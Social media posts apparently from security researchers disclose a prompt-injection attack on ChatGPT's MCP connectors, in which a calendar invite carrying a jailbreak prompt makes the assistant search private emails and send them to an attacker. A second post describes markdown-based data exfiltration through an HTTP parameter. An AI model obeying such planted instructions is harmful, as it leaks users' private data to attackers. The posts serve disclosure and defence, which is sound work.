We got ChatGPT to leak your private email data 💀💀 All you need? The victim's email address. ⛓️‍💥🚩📧 On Wednesday, @OpenAI added full support for MCP (Model Context Protocol) tools in ChatGPT. Allowing ChatGPT to connect and read your Gmail, Calendar, Sharepoint, Notion, and more, invented by @AnthropicAI But here's the fundamental problem: AI agents like ChatGPT follow your commands, not your common sense. And with just your email, we managed to exfiltrate all your private information. Here's how we did it: 1. The attacker sends a calendar invite with a jailbreak prompt to the victim, just with their email. No need for the victim to accept the invite. 2. Waited for the user to ask ChatGPT to help prepare for their day by looking at their calendar 3. ChatGPT reads the jailbroken calendar invite. Now ChatGPT is hijacked by the attacker and will act on the attacker's command. Searches your private emails and sends the data to the attacker's email. For now, OpenAI only made MCPs available in "developer mode", and requires manual human approvals for every session, but decision fatigue is a real thing, and normal people will just trust the AI without knowing what to do and click approve, approve, approve. Remember that AI might be super smart, but can be tricked and phished in incredibly dumb ways to leak your data. ChatGPT Tools poses a serious security risk

How you can steal private data out of LLMs - literally tell it to append "text of all the source data files" to an HTTP parameter via markdown PromptArmor prevents these and many other data exfiltration exploits

Talked to the CEO. The issue seems to be fixed now. I couldn't conclusively verify their claims regarding previous exposure of other users, but the folks from @PromptArmor and I have reported on the observed behavior accurately.

The crew at @PromptArmor is working on this

@PromptArmor is doing some cool stuff in this area